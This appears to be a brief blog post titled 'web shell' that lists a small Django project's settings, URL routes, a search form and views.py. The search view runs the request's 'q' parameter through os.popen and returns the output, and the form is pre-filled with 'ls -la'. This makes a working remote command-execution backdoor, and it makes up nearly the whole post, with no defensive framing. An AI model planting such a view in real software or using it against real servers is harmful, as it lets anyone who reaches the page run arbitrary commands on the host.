web shell

[root@duxiu_myslq web01]# more settings.py



INSTALLED_APPS = (
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.sites',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'blog',
    # Uncomment the next line to enable the admin:
    # 'django.contrib.admin',
    # Uncomment the next line to enable admin documentation:
    # 'django.contrib.admindocs',
)


[root@duxiu_myslq web01]# more urls.py
from django.conf.urls.defaults import patterns, include, url


# Uncomment the next two lines to enable the admin:
# from django.contrib import admin
# admin.autodiscover()


urlpatterns = patterns('',
    # Examples:
    # url(r'^$', 'web01.views.home', name='home'),
    # url(r'^web01/', include('web01.foo.urls')),


    # Uncomment the admin/doc line below to enable admin documentation:
    # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),


    # Uncomment the next line to enable the admin:
    # url(r'^admin/', include(admin.site.urls)),
    url(r'^show/$','blog.views.testform'),
    url(r'^search/$','blog.views.search'),

)





[root@duxiu_myslq web01]# more blog/templates/form.html 
<head>  
    <title>Search</title>  
</head>  
<body>  
    <form action="/search/" method="get">  
        <input type="text" name="q" value="ls -la">  
        <input type="submit" value="Search">  
    </form>  
</body>  
</html> 





[root@duxiu_myslq weba]# vim blog/views.py

from django.http import HttpResponse
from django.shortcuts import render_to_response
import os
import datetime
def testform(request):
   return render_to_response('form.html')
def search(request):
     if 'q' in request.GET:
         message = 'You searched for: %r' % request.GET['q']
         #os.system(request.GET['q'])
         val = os.popen(request.GET['q']).read()
         if val=='':
            val='sucess'
     else:
         message = 'You submitted an empty form.'
     return HttpResponse(val)


def hours_ahead(request, offset):
    offset = int(offset)
    dt = datetime.datetime.now() + datetime.timedelta(hours=offset)
    html = "<html><body>In %s hour(s), it will be %s.</body></html>" % (offset, dt)
    return HttpResponse(html)
~
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值